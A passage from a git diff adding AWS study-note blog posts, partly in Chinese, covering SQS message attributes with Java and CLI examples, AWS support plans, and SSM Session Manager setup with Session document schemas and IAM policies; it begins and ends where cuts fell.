include `String, Number, and Binary`. + - can also add custom information for any data type. + - The data type has the same restrictions as the message body + - Can be up to 256 characters long + - Is case-sensitive + +- ValueL: The message attribute value. + - For String data types, the attribute values has the same restrictions as the message body. + + +#### Message attribute data types + +- Message attribute data types instruct Amazon SQS how to handle the corresponding message attribute values. For example, if the type is Number, Amazon SQS validates numerical values. + +- Amazon SQS supports the logical data types `String, Number, and Binary` with optional custom data type labels with the format `.custom-data-type` + + - `String`: store Unicode text using any valid XML characters. + - `Number`: store positive or negative numerical values. + - can have up to 38 digits of precision, and it can be between 10^-128 and 10^+126. + - Amazon SQS removes leading and trailing zeroes. + - `Binary`: + - store any binary data such as compressed data, encrypted data, or images. + - `Custom` + - create a custom data type, append a custom-type label to any data type. + - For example: + - Number.byte, Number.short, Number.int, and Number.float can help distinguish between number types. + - Binary.gif and Binary.png can help distinguish between file types. + - Amazon SQS doesn't interpret, validate, or use the appended data. + - The custom-type label has the same restrictions as the message body. + + +**Defining attributes** + +```java + +// String +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "Name", + new MessageAttributeValue().withDataType("String").withStringValue("Jane")); + +// Number +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "AccurateWeight", + new MessageAttributeValue().withDataType("Number").withStringValue("230.001")); + +// Binary +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "ByteArray", + new MessageAttributeValue().withDataType("Binary").withBinaryValue(ByteBuffer.wrap(new byte[10]))); + +// String (custom) +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "EmployeeId", + new MessageAttributeValue().withDataType("String.EmployeeId").withStringValue("ABC123456")); + +// Number (custom) +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "AccountId", + new MessageAttributeValue().withDataType("Number.AccountId").withStringValue("000123456")); +// Because the base data type is Number, the ReceiveMessage method returns 123456. + +// Binary (custom) +final Map messageAttributes = new HashMap<>(); +messageAttributes.put( + "ApplicationIcon", + new MessageAttributeValue().withDataType("Binary.JPEG").withBinaryValue(ByteBuffer.wrap(new byte[10]))); +``` + +**Sending message with attributes** + +This example adds the attributes to the SendMessageRequest before sending the message. + +```java +// Send a message with an attribute. +final SendMessageRequest sendMessageRequest = new SendMessageRequest(); + +sendMessageRequest.withMessageBody("This is my message text."); +sendMessageRequest.withQueueUrl(myQueueUrl); +sendMessageRequest.withMessageAttributes(messageAttributes); + +sqs.sendMessage(sendMessageRequest); +``` + + +**example** + + +```java + +SqsClient sqsClient = SqsClient.builder().region(Region.of("ap-southeast-2")).build(); + +CreateQueueRequest request = CreateQueueRequest.builder().queueName("MyQueue").build(); +CreateQueueResponse response = sqsClient.createQueue(request); + +// generates a UUID as the traceId +String traceId = UUID.randomUUID().toString(); + +final Map messageAttributes = new HashMap<>(); + +// add traceId as a message attribute +messageAttributes.put( + TRACE_ID_NAME, + MessageAttributeValue.builder().dataType("String").stringValue(traceId).build()); + +SendMessageRequest.Builder builder = SendMessageRequest.builder() + .queueUrl(queueUrl) + .messageBody(message) + .messageAttributes(messageAttributes); + +// send the message +logger.info("Sending message to queue {} with {}={}", this.queueName, TRACE_ID_NAME, traceId); +this.sqsClient.sendMessage(builder.build()); + + + +// Extracting attribute + +// long polling and wait for waitTimeSeconds before timed out +ReceiveMessageRequest receiveMessageRequest = ReceiveMessageRequest.builder() + .queueUrl(queueUrl) + .waitTimeSeconds(20) + .messageAttributeNames("trace-id") // returns the trace Id + .build(); +List messages = this.sqsClient.receiveMessage(receiveMessageRequest).messages(); + + + +/** + * Extract message attribute. + * + * @param message The message + * @param attributeName The attribute name + * @return The attribute value + */ +private static String extractAttribute(Message message, String attributeName) { + if (message.hasMessageAttributes()) { + Map messageAttributes = message.messageAttributes(); + MessageAttributeValue attributeValue = messageAttributes.get(attributeName); + if (attributeValue != null) { + return attributeValue.stringValue(); + } + } + return null; +} + +/** + * Process message. + * + * @param message the message + */ +private void processMessage(Message message) { + logger.info("Processing message {}", message.messageId()); + + // extract traceId + String traceId = extractAttribute(message, TRACE_ID_NAME); + + // special handling before parsing the message body + if (traceId == null || traceId.length() != 36) { + logger.error("{} is compromised, message {} abandoned", TRACE_ID_NAME, message.messageId()); + return; + } + + // deserialise message body + MyEvent myEvent = null; + try { + myEvent = objectMapper.readValue(message.body(), MyEvent.class); + } catch (JsonProcessingException e) { + logger.error(e); + } + + logger.info("Message processed: {}={}, MyEvent={}", TRACE_ID_NAME, traceId, myEvent == null ? null : myEvent.toString()); +} + + + +gradlew messageAttributesExample + + +// The output would be: +aws.demo.MessageAttributesExample:135 [main] - Create queue MyQueue in region ap-southeast-2 +aws.demo.MessageAttributesExample:139 [main] - Queue URL: https://sqs.ap-southeast-2.amazonaws.com/000000000000/MyQueue + +aws.demo.MessageAttributesExample$MyProducer:276 [pool-3-thread-1] - Sending message to queue MyQueue with trace-id=abc + +aws.demo.MessageAttributesExample$MyConsumer:334 [pool-4-thread-1] - Receiving messages from MyQueue... +aws.demo.MessageAttributesExample$MyConsumer:345 [pool-4-thread-1] - 1 messages received. +aws.demo.MessageAttributesExample$MyConsumer:360 [pool-4-thread-1] - Processing message xxx +aws.demo.MessageAttributesExample$MyConsumer:379 [pool-4-thread-1] - Message processed: trace-id=abc, MyEvent=MyEvent[id='434d8016-b06c-4424-8ab1-1140f6fc87b3', timeStamp=2020-08-25T13:11:24.101739200Z, source='pool-3-thread-1', payload='AWS SQS message attributes example.'] +aws.demo.MessageAttributesExample$MyConsumer:390 [pool-4-thread-1] - Deleting message 9cfcde98-841d-415e-b795-7c9396c7a8ea from queue: MyQueue + +aws.demo.MessageAttributesExample:149 [main] - Delete queue MyQueue +aws.demo.MessageAttributesExample:154 [main] - Queue MyQueue deleted. +``` + + +- send a message to a First-In-First-Out (FIFO) queue, make sure that the sendMessage method executes after provide the message group ID. + +- If use the SendMessageBatch method instead of SendMessage, you must specify message attributes for each message in the batch. + + +```bash +aws sqs send-message \ + --queue-url https://sqs.us-east-1.amazonaws.com/80398EXAMPLE/MyQueue \ + --message-body "Information about the largest city in Any Region." \ + --delay-seconds 10 \ + --message-attributes file://send-message.json +# send-message.json: +{ + "City": { + "DataType": "String", + "StringValue": "Any City" + }, + "Greeting": { + "DataType": "Binary", + "BinaryValue": "Hello, World!" + }, + "Population": { + "DataType": "Number", + "StringValue": "1250800" + } +} + + +aws sqs send-message-batch \ + --queue-url https://sqs.us-east-1.amazonaws.com/80398EXAMPLE/MyQueue \ + --entries file://send-message-batch.json +# send-message-batch.json : +[ + { + "Id": "FuelReport-0001-2015-09-16T140731Z", + "MessageBody": "Fuel report for account 0001 on 2015-09-16 at 02:07:31 PM.", + "DelaySeconds": 10, + "MessageAttributes": { + "SellerName": { + "DataType": "String", + "StringValue": "Example Store" + }, + "City": { + "DataType": "String", + "StringValue": "Any City" + } + } + }, + { + "Id": "FuelReport-0002-2015-09-16T140930Z", + "MessageBody": "Fuel report for account 0002 on 2015-09-16 at 02:09:30 PM.", + "DelaySeconds": 10, + "MessageAttributes": { + "SellerName": { + "DataType": "String", + "StringValue": "Example Fuels" + }, + "City": { + "DataType": "String", + "StringValue": "North Town" + } + } + } +] +``` + + + +--- + +### Amazon SQS message system attributes + +Whereas you can use **message attributes** to `attach custom metadata` to SQS messages for applications, + +you can use **message system attributes** to `store metadata for other AWS services`, such as AWS X-Ray. + +For more information, see +- the `MessageSystemAttribute` request parameter of the SendMessage and SendMessageBatch API actions, +- the `AWSTraceHeader` attribute of the ReceiveMessage API action, +- the `MessageSystemAttributeValue` data type in the Amazon Simple Queue Service API Reference. + +Message system attributes are structured exactly like message attributes, with the following exceptions: +- Currently, the only supported message system attribute is AWSTraceHeader. Its type must be String and its value must be a correctly formatted AWS X-Ray trace header string. +- The size of a message system attribute doesn't count towards the total size of a message. + +--- + +## SCALABILITY AND DURABILITY + +- can have multiple queues with different priorities. + +- Scaling is performed by creating more queues. + +- SQS stores all message queues and messages within a single, highly-available AWS region with multiple redundant AZs. + + +--- + +## SECURITY + +- can use IAM policies to control who can read/write messages. + + - Authentication can be used to secure messages within queues + + - (who can send and receive). + +- SQS supports HTTPS and supports TLS versions 1.0, 1.1, 1.2. + +- SQS is PCI DSS level 1 compliant and HIPAA eligible. + +- Server-side encryption (SSE) lets you transmit sensitive data in encrypted queues (AWS KMS): + + - SSE encrypts messages as soon as SQS receives them. + + - The messages are stored in encrypted form and SQS decrypts messages only when they are sent to an authorized consumer. + + - Uses AES 256 bit encryption. + + - Not available in all regions. + + - Standard and FIFO queues. + + - Body of message is encrypted. + + - The following is not encrypted: + - Queue metadata. + - Message metadata. + - Per-queue metrics. + + +--- + +## Monitoring + +- CloudWatch is integrated with SQS + - can view and monitor queue metrics. + - metrics are automatically collected every 5 minutes. + +- CloudWatch considers a queue to be active for up to 6 hours if it contains any messages or if any API action accesses it. + +- No charge for CloudWatch (no detailed monitoring). + +- CloudTrail captures API calls from SQS and logs to a specified S3 bucket. + +![Pasted Graphic 2](https://i.imgur.com/uNNYUgr.jpg) diff --git a/_posts/01Cloud/01AWS/Management/2020-07-18-AWS-Plan.md b/_posts/01Cloud/01AWS/Management/2020-07-18-AWS-Plan.md new file mode 100644 index 00000000000..f55d3f7f813 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/2020-07-18-AWS-Plan.md @@ -0,0 +1,52 @@ +--- +title: AWS - Management - AWS Plan +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Management] +tags: [AWS] +toc: true +image: +--- + +- [AWS Plan](#aws-plan) + +--- + +# AWS Plan + +4 plan +- Basic Support + - included **for all AWS customers** + - All plans, including Basic Support, provide 24/7 access to customer service, AWS documentation, whitepapers, and support forums. + +- Developer Support plan: + - for experimenting or testing in AWS +- Business Support plan: + - for **production workloads** in AWS +- Enterprise Support plan: + - for **business and mission-critical workloads**. + + + +![SAWS Plan!](https://i.imgur.com/VSFKgFB.png) + +- Critical + - your business is at risk. + - Critical functions of your application are unavailable. +- Urgent + - your business is significantly impacted. + - Important functions of your application are unavailable. +- High + - important functions of your application are impaired or degraded. +- normal + - non-critical functions of your application are behaving abnormally, or you have a time-sensitive development question. +- Low + - a general development question, or you want to request a feature. + + +![Pasted Graphic 13](https://i.imgur.com/O2ghelT.jpg) + + + + + + diff --git a/_posts/01Cloud/01AWS/Management/2020-07-18-SSM-SessionManager.md b/_posts/01Cloud/01AWS/Management/2020-07-18-SSM-SessionManager.md new file mode 100644 index 00000000000..e164206bd78 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/2020-07-18-SSM-SessionManager.md @@ -0,0 +1,899 @@ +--- +title: AWS - Management - SSM - Session Manager +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Management] +tags: [AWS] +toc: true +image: +--- + +- [Session Manager](#session-manager) + - [session](#session) + - [Session document schema](#session-document-schema) + - [赋予System Manager 对实例可执行操作的权限:](#赋予system-manager-对实例可执行操作的权限) + - [0. setup](#0-setup) + - [1. 修改 instance profile 和加裝 ssm agent](#1-修改-instance-profile-和加裝-ssm-agent) + - [Embed permissions for Session Manager actions in a custom instance profile](#embed-permissions-for-session-manager-actions-in-a-custom-instance-profile) + - [Create a custom IAM instance profile for Session Manager](#create-a-custom-iam-instance-profile-for-session-manager) + - [2. 確認 instance 上面都有安裝好 SSM agent](#2-確認-instance-上面都有安裝好-ssm-agent) + - [3: Control user session access to instances](#3-control-user-session-access-to-instances) + - [Enforce a session document permission check for the AWS CLI](#enforce-a-session-document-permission-check-for-the-aws-cli) + - [4. 設定 user 的 iam policy](#4-設定-user-的-iam-policy) + - [end user policies for Session Manager](#end-user-policies-for-session-manager) + - [administrator policy for Session Manager](#administrator-policy-for-session-manager) + - [Allow full (administrative) access to all sessions](#allow-full-administrative-access-to-all-sessions) + - [5. user IAM group](#5-user-iam-group) + - [6. 設定完以上的基本設定後,登入機器](#6-設定完以上的基本設定後登入機器) + - [more session preferencse:](#more-session-preferencse) + - [修改 ssm-user sudo 权限](#修改-ssm-user-sudo-权限) + - [配置ec2 的安全组:](#配置ec2-的安全组) + - [记录会话数据](#记录会话数据) + - [使用 scp](#使用-scp) + - [設定](#設定) + - [進階設定](#進階設定) + - [Port forwarding](#port-forwarding) + - [Monitoring](#monitoring) + - [Logging AWS Systems Manager API calls with AWS CloudTrail.](#logging-aws-systems-manager-api-calls-with-aws-cloudtrail) + - [Reference](#reference) + +- ref + - [aws doc](https://docs.aws.amazon.com/systems-manager/latest/userguide/setup-instance-profile.html) + - [AWS SSM session manager 筆記 Posted by Kakashi on 2020-04-11](https://kkc.github.io/2020/04/11/aws-ssm-session-manager-note/) + - [AWS-AWS Systems Manager Session (SSM 会话管理器)试用](https://blog.csdn.net/kozazyh/article/details/88957448) + +--- + + +# Session Manager + +- 使用 session manager 可以減少 key 的管理,減少資安漏洞 +- 透過 proxycommand 可以讓我們建立 ssh tunnel,進而可以使用 scp 等等工具 +- port forwarding 可以幫助 developer 測試在 private subnet 的服務 +- 搭配 aws cliv2 可以透過 SSO 增加系統安全 + +- makes it easy to comply with corporate policies that require controlled access to instances, strict security practices, and fully auditable logs with instance access details, while still providing end users with simple one-click cross-platform access to the managed instances. + - automating common administrative tasks across groups of instances + - such as registry edits, user management, and software and patch installations. + - improve security and audit posture, reduce operational overhead by centralizing access control on instances, and reduce inbound instance access. + - monitor and track instance access and activity, close down inbound ports on instances, or enable connections to instances that do not have a public IP address. + - grant and revoke access from a single location, and who want to provide one solution to users for Linux, macOS, and Windows Server instances. + - connect to an instance with just one click from the browser or AWS CLI without having to provide SSH keys. + +- integration with AWS IAM + - can apply granular permissions to control the actions users can perform on instances. + - Centralized access control to instances using IAM policies + - single place to grant and revoke access to instances. + - Using only AWS IAM policies, control which individual users or groups in organization can use Session Manager and which instances they can access. + - You can also provide temporary access to instances. + - Example + - give an on-call user/group of user access to production servers only for the duration of their rotation. + + +- No open inbound ports and no need to manage bastion hosts or SSH keys + - provides safe, secure remote management of the instances at scale + - without logging into the servers, + - replacing the need for bastion hosts, SSH, or remote PowerShell. + - Leaving inbound SSH ports and remote PowerShell ports open on the instances greatly increases the risk of entities running unauthorized or malicious commands on the instances. + - without the need to open inbound ports, manage SSH keys and certificates, bastion hosts, and jump boxes. + - manage EC2/on-premises instances, and VMs through an `interactive one-click browser-based shell` or through the `AWS CLI`. + + +- Port forwarding + - Redirect any port inside the remote instance to a local port on a client. + - connect to the local port and access the server application that is running inside the instance. + - Tunneling + - In a session, use a Session-type SSM document to tunnel traffic, such as http or a custom protocol, between a local port on a client machine and a remote port on an instance. + +- AWS PrivateLink support for instances without public IP addresses + - can set up VPC Endpoints for Systems Manager using AWS PrivateLink to further secure the sessions. + - AWS PrivateLink limits all network traffic between managed instances, Systems Manager, and Amazon EC2 to the Amazon network. + + +- One-click access to instances from the console and CLI + - start a session with a single click. + - Using the AWS CLI, can also start a session that runs a single command or a sequence of commands. + - as permissions to instances are provided by IAM policies not SSH keys or other mechanisms, the connection time is greatly reduced. + - Interactive commands + - Create a Session-type SSM document that uses a session to interactively run a single command, giving you a way to manage what users can do on an instance. + + +- Cross-platform support for Windows, Linux, and macOS + - support for Windows, Linux, and macOS from a single tool. + - establish secure connections to EC2/on-premises instances, and VMs. + - support for on-premises servers is provided for the advanced-instances tier only. + - Example + - SSH client for Linux and macOS instances + - RDP connection for Windows Server instances. + +- Logging and auditing session activity + - All actions taken with Systems Manager are recorded by AWS CloudTrail + - audit changes throughout the environment. + - receive notifications when a user in the organization starts or ends session activity. + - provides secure and auditable instance management + - Note: + - Logging is not available for Session Manager sessions that connect through port forwarding or SSH + - because SSH encrypts all session data, and Session Manager only serves as a tunnel for SSH connections. + - Logging and auditing capabilities are provided through integration with the following AWS services: + - AWS CloudTrail + - captures information about Session Manager API calls made in the AWS account and writes it to log files that are stored in an S3 bucket you specify. + - One bucket is used for all CloudTrail logs for the account. + + - Amazon S3 + - choose to store session log data in an S3 bucket of the choice for debugging and troubleshooting purposes. + - Log data can be sent to the S3 bucket with or without encryption using the AWS Key Management Service (AWS KMS) key. + + - Amazon CloudWatch Logs + - monitor, store, and access log files from various AWS services. + - You can send session log data to a CloudWatch Logs log group for debugging and troubleshooting purposes. + - Log data can be sent to the log group with or without AWS KMS encryption using the AWS KMS key. For more information, see Logging session data using Amazon CloudWatch Logs (console). + + - Amazon EventBridge and Amazon Simple Notification Service + - EventBridge lets you set up rules to detect when changes happen to AWS resources that you specify. You can create a rule to detect when a user in the organization starts or stops a session, and then receive a notification through Amazon SNS (for example, a text or email message) about the event. + - You can also configure a CloudWatch event to initiate other responses. + + - Console, CLI, and SDK access to Session Manager capabilities + - The AWS Systems Manager console: + - includes access to all the Session Manager capabilities for both administrators and end users. You can perform any task that's related to sessions by using the Systems Manager console. + - The Amazon EC2 console + - provides the ability for end users to connect to the EC2 instances for which they have been granted session permissions. + - The AWS CLI + - includes access to Session Manager capabilities for end users. + - can start a session, view a list of sessions, and permanently end a session by using the AWS CLI. + - To use the AWS CLI to run session commands, you must be using version 1.16.12 of the CLI (or later), and you must have installed the Session Manager plugin on local machine. + - Configurable shell profiles + - Session Manager provides you with options to configure preferences within sessions. These customizable profiles enable you to define preferences such as shell preferences, environment variables, working directories, and running multiple commands when a session is started. + - The Session Manager SDK + - consists of libraries and sample code that enables application developers to build front-end applications, such as custom shells or self-service portals for internal users that natively use Session Manager to connect to instances. + - Developers and partners can integrate Session Manager into their client-side tooling or Automation workflows using the Session Manager APIs. + - You can even build custom solutions. + + - Customer key data encryption support + - configure Session Manager to encrypt the session data logs send to S3 bucket or stream to a CloudWatch Logs log group + - configure Session Manager to further encrypt the data transmitted between client machines and instances during sessions. + + +--- + +## session + +A session is a connection made to an instance using Session Manager. +- Sessions are based on a secure bi-directional communication channel between the client (you) and the remote managed instance that streams inputs and outputs for commands. +- Traffic between a client and a managed instance is encrypted using TLS 1.2, and requests to create the connection are signed using Sigv4. +- This two-way communication enables interactive bash and PowerShell access to instances. +- You can also use an AWS Key Management Service (AWS KMS) key to further encrypt data beyond the default TLS encryption. + +Example +- John is an on-call engineer in IT department. +- He receives notification of an issue that requires him to remotely connect to an instance + - such as a failure that requires troubleshooting or a directive to change a simple configuration option on an instance. +- Using the AWS Systems Manager console, the EC2 console, or the AWS CLI, John starts a session connect to the instance +- When John sends that first command to start the session + - the Session Manager service authenticates his ID, + - verifies the permissions granted to him by an IAM policy, + - checks configuration settings (such as verifying allowed limits for the sessions), + - and sends a message to SSM Agent to open the two-way connection. +- After the connection is established +- John types the next command, the command output from SSM Agent is uploaded to this communication channel and sent back to his local machine. + + + +--- + +## Session document schema + + +The schema elements of a Session document. +- Session Manager uses Session documents to determine which type of session to start +- such as a standard session, a port forwarding session, or a session to run an interactive command. + + +```yaml +schemaVersion: '1.0' +description: Document to hold regional settings for Session Manager +# Valid values: InteractiveCommands | Port | Standard_Stream + +sessionType: Standard_Stream +# The session preferences to use for sessions established using this Session document. +# This element is required for Session documents that are used to create Standard_Stream sessions. +inputs: + # S3 bucket to send session logs at the end of the sessions. + s3BucketName: '' + # The prefix to use when sending logs to the S3 bucket you specified in the s3BucketName input. + s3KeyPrefix: '' + s3EncryptionEnabled: true + # The name of the Amazon CloudWatch Logs (CloudWatch Logs) group to send session logs at the end of the sessions. + cloudWatchLogGroupName: '' + # the log group you specified in the cloudWatchLogGroupName input must be encrypted. + cloudWatchEncryptionEnabled: true + # If set to true, a continuous stream of session data logs are sent to the cloudWatch log group + # If set to false, session logs are sent to the log group at the end of the sessions. + cloudWatchStreamingEnabled: true + # The ID of the AWS KMS to use to further encrypt data between the local client machines and the EC2 instances be connected to. + kmsKeyId: '' + # The Run As feature is only supported for Linux instances. + # If set to true, must specify a user account exists on the instances you connecting to (if not, sessions will fail to start) + # By default, sessions are started using the ssm-user account created by the SSM Agent. + runAsEnabled: true + runAsDefaultUser: '' + # The amount of time of inactivity allowed before a session ends. (minutes) + idleSessionTimeout: '20' + # The preferences you specify per operating system to apply within sessions + # such as shell preferences, environment variables, working directories, and running multiple commands when a session is started. + shellProfile: + # The shell preferences, environment variables, working directories, and commands you specify for sessions on Windows instances. + windows: '' + linux: '' + +schemaVersion: '1.0' +description: Document to view a log file on a Linux instance +sessionType: InteractiveCommands +parameters: + logpath: + type: String + description: The log file path to read. + default: "/var/log/amazon/ssm/amazon-ssm-agent.log" + allowedPattern: "^[a-zA-Z0-9-_/]+(.log)$" +properties: + linux: + commands: "tail -f {{ logpath }}" + runAsElevated: true + + +schemaVersion: '1.0' +description: Example document with quotation marks +sessionType: InteractiveCommands +parameters: + Test: + type: String + description: Test Input + maxChars: 32 +properties: + windows: + commands: | + $Test = '{{ Test }}' + $myVariable = "Computer name is $env:COMPUTERNAME" + Write-Host "Test variable: $myVariable`.`nInput parameter: $Test" + runAsElevated: false + + +schemaVersion: '1.0' +description: Document to open given port connection over Session Manager +sessionType: Port +parameters: + paramExample: + type: string + description: document parameter +properties: + portNumber: anyPortNumber +``` + + +--- + +## 赋予System Manager 对实例可执行操作的权限: + +--- + +### 0. setup + + +1. 创建一个EC2实例:ID:为:i-xxxxxxxxxx +2. 创建一个角色: + - IAM > 角色 > 创建角色(role-test) + 1. 选择 受信任实体的类型:AWS产品; + 2. 选择 将要使用此角色的服务:EC2 - > Attach权限策略:选择 AmazonEC2RoleforSSM + +3. 把角色(role-test)附加到EC2(i-xxxxxxxxxx)中 ; + +![20190402101438357](https://i.imgur.com/qqx5AxQ.png) + + +--- + +### 1. 修改 instance profile 和加裝 ssm agent + +An instance profile +- a container that passes IAM role information to an EC2 instance at launch. +- This requirement applies to permissions for all AWS Systems Manager capabilities, not only those specific to Session Manager. +- can attach an IAM instance profile to an EC2 instance as launch it or to a previously launched instance. + +By default, AWS Systems Manager doesn't have permission to perform actions on the instances. +- must grant access by using an AWS IAM instance profile. +- AmazonSSMManagedInstanceCore + - enables an instance to use AWS Systems Manager service core functionality. + - Depending on the operations plan, might need permissions +- custom policy for S3 bucket access + - Case 1: + - using a VPC endpoint to privately connect VPC to supported AWS services and VPC endpoint services powered by PrivateLink. + - SSM Agent is Amazon software that is installed on the instances and performs Systems Manager tasks. + - This agent requires access to specific Amazon-owned S3 buckets. + - These buckets are publicly accessible. + - In a private VPC endpoint environment, however, you must explicitly provide access to these buckets: + ``` + arn:aws:s3:::patch-baseline-snapshot-region/* + arn:aws:s3:::aws-ssm-region/* + ``` + - Case 2: + - use an S3 bucket as part of the Systems Manager operations. + - the EC2 instance profile for Systems Manager must grant access to an S3 bucket that you own for tasks like the following: + - To access scripts you store in the S3 bucket to use in commands you run. + - To store the full output of Run Command commands or Session Manager sessions. + - To access custom patch lists for use when patching the instances. +- AmazonSSMDirectoryServiceAccess + - Required only if you plan to join EC2 instance for Windows Server to a Microsoft AD directory. + - This AWS managed policy allows SSM Agent to access AWS Directory Service on your behalf for requests to join the domain by the managed instance. +- CloudWatchAgentServerPolicy + - Required only if you plan to install and run the CloudWatch agent on the instances to read metric and log data on an instance and write it to Amazon CloudWatch. + - These help you monitor, analyze, and quickly respond to issues or changes to your AWS resources. + - Your instance profile needs this policy only if you will use features such as Amazon EventBridge or CloudWatch Logs. + - (You can also create a more restrictive policy that, for example, limits writing access to a specific CloudWatch Logs log stream.) + + +use case +- If already use other Systems Manager capabilities, such as Run Command or Parameter Store, an instance profile with the required basic permissions for Session Manager might already be attached to the instances. +- If an instance profile that contains the AWS managed policy `AmazonSSMManagedInstanceCore` is attached to the instances, the required permissions for Session Manager are already provided. +- in some cases, might need to modify the permissions attached to the instance profile. + - example, + - to provide a narrower set of instance permissions, you have created a custom policy for the instance profile, + - or you want to use Amazon S3 encryption or AWS KMS encryption options for securing session data. + +For these cases, do one of the following to allow Session Manager actions to be performed on the instances: + + +#### Embed permissions for Session Manager actions in a custom instance profile +- add permissions for Session Manager actions to an existing IAM instance profile that does not rely on the AWS-provided default policy `AmazonSSMManagedInstanceCore` for instance permissions. +- assumes the existing profile already includes other Systems Manager ssm permissions for actions you want to allow access to. This policy alone is not enough to use Session Manager. +- Roles (the role to embed a policy in) > Permissions > Add inline policy +- Replace the default content with the following +- Review policy page, for Name, enter a name for the inline policy, such as `SessionManagerPermissions`. +- Choose Create policy. + +```yaml +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - ssmmessages:CreateControlChannel + - ssmmessages:CreateDataChannel + - ssmmessages:OpenControlChannel + - ssmmessages:OpenDataChannel + Resource: "*" +- Effect: Allow + Action: s3:GetEncryptionConfiguration + Resource: "*" +# kms:Decrypt permission enables customer key encryption and decryption for session data. If you will use AWS Key Management Service (AWS KMS) encryption for the session data, replace key-name with the Amazon Resource Name (ARN) of the customer master key (CMK) you want to use, in the format arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-12345EXAMPLE. +# If you will not use AWS KMS encryption for the session data, you can remove the following content from the policy. +# - Effect: Allow +# Action: kms:Decrypt +# Resource: key-name +``` + +#### Create a custom IAM instance profile for Session Manager +1. create a custom AWS IAM instance profile that provides permissions for only Session Manager actions on the instances. +2. can create a policy to provide the permissions needed for logs of session activity to be sent to Amazon S3 and CloudWatch Logs. + - IAM console > Policies > Create policy > `SessionManagerPermissions` +3. Attach an IAM Role to an Instance and Attach or Replace an Instance Profile + - Roles > Create role > AWS service > EC2 > Permissions > `SessionManagerPermissions` + - Role name (name for the IAM instance profile) > `MySessionManagerInstanceProfile`. + + +```yaml +# Create instance profile with minimal Session Manager permissions +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - ssm:UpdateInstanceInformation + - ssmmessages:CreateControlChannel + - ssmmessages:CreateDataChannel + - ssmmessages:OpenControlChannel + - ssmmessages:OpenDataChannel + Resource: "*" +- Effect: Allow + Action: s3:GetEncryptionConfiguration + Resource: "*" +- Effect: Allow + Action: kms:Decrypt + Resource: key-name # arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-12345EXAMPLE. + + +# Create instance profile with permissions for Session Manager and S3 and CloudWatch Logs +Version: '2012-10-17' +Statement: +- Effect: Allow + Action: + - ssm:UpdateInstanceInformation + - ssmmessages:CreateControlChannel + - ssmmessages:CreateDataChannel + - ssmmessages:OpenControlChannel + - ssmmessages:OpenDataChannel + Resource: "*" +- Effect: Allow + Action: + - logs:CreateLogStream + - logs:PutLogEvents + - logs:DescribeLogGroups + - logs:DescribeLogStreams + Resource: "*" +- Effect: Allow + Action: s3:PutObject + #To output session logs to an S3 bucket owned by a different AWS account, you must add the IAM s3:PutObject Acl permission to this policy. + # If this permission isn't added, the account that owns the S3 bucket cannot access the session output logs. + Resource: arn:aws:s3:::DOC-EXAMPLE-BUCKET/s3-bucket-prefix +- Effect: Allow + Action: s3:GetEncryptionConfiguration + Resource: "*" +- Effect: Allow + Action: kms:GenerateDataKey + Resource: "*" + + +# Create a custom policy for S3 bucket access +# required only if you are using a VPC endpoint or using an S3 bucket of your own in your Systems Manager operations. +Version: '2012-10-17' +Statement: +# required only if you are using a VPC endpoint. +- Effect: Allow + Action: s3:GetObject + Resource: + - arn:aws:s3:::aws-ssm-region/* + - arn:aws:s3:::aws-windows-downloads-region/* + - arn:aws:s3:::amazon-ssm-region/* + - arn:aws:s3:::amazon-ssm-packages-region/* + - arn:aws:s3:::region-birdwatcher-prod/* + - arn:aws:s3:::aws-ssm-distributor-file-region/* + - arn:aws:s3:::aws-ssm-document-attachments-region/* + - arn:aws:s3:::patch-baseline-snapshot-region/* +# required only if you are using an S3 bucket that you created to use in your Systems Manager operations. +- Effect: Allow + Action: + - s3:GetObject + - s3:PutObject + # required only if you plan to support cross-account access to S3 buckets in other accounts. + - s3:PutObjectAcl + - s3:GetEncryptionConfiguration + # required if your S3 bucket is configured to use encryption. + Resource: + - arn:aws:s3:::DOC-EXAMPLE-BUCKET/* + - arn:aws:s3:::DOC-EXAMPLE-BUCKET + # If your S3 bucket is configured to use encryption, then the S3 bucket root (for example, arn:aws:s3:::DOC-EXAMPLE-BUCKET) must be listed in the Resource section. + # Your IAM user, group, or role must be configured with access to the root bucket. +``` + +--- + +### 2. 確認 instance 上面都有安裝好 SSM agent + +AWS 上面新版的 ubuntu & amazon linux2 都有先裝好了,不過舊的 AMI 就需要自己去安裝。 + + +--- + +### 3: Control user session access to instances + +Session Manager allows centrally grant and revoke user access to instances +- Using IAM policies, control which instances specific users or groups can connect to, +- and you control what Session Manager API actions they can perform on the instances they are given access to. + + +`Session ID` ARN Formats +- IAM policies for Session Manager access use variables for user names as part of session IDs. +- Session IDs in turn are used in session Amazon Resource Names (ARNs) to control access. +- Session ARNs have the following format: + +``` +arn:aws:ssm:region-id:account-id:session/session-id +arn:aws:ssm:us-east-2:123456789012:session/JohnDoe-1a2b3c4d5eEXAMPLE +``` + +1. use a pair of default IAM policies supplied by AWS + - one for end users and one for administrators, to supply permissions for Session Manager activities. +2. Or create custom IAM policies for different permissions requirements you might have. + + + +#### Enforce a session document permission check for the AWS CLI + +When configure Session Manager for your account, the system creates a Session-type SSM document `SSM-SessionManagerRunShell`. +- This SSM document stores your session preferences, such as + - whether session data is saved in an S3 bucket or Amazon CloudWatch Logs log group, + - whether session data is encrypted using AWS Key Management Service, + - whether Run As support is enabled for your sessions. + +```yaml +schemaVersion: '1.0' +description: Document to hold regional settings for Session Manager +sessionType: Standard_Stream +inputs: + s3BucketName: DOC-EXAMPLE-BUCKET + s3KeyPrefix: MyBucketPrefix + s3EncryptionEnabled: true + cloudWatchLogGroupName: MyLogGroupName + cloudWatchEncryptionEnabled: true + kmsKeyId: MyKMSKeyID + runAsEnabled: true + runAsDefaultUser: MyDefaultRunAsUser +``` + + +By default, if a user in your account was granted permission in their IAM user policy to start sessions, that user has access to the `SSM-SessionManagerRunShell` SSM document. +- This means that when they use the AWS CLI to run the start-session command, and they do not specify a document in the 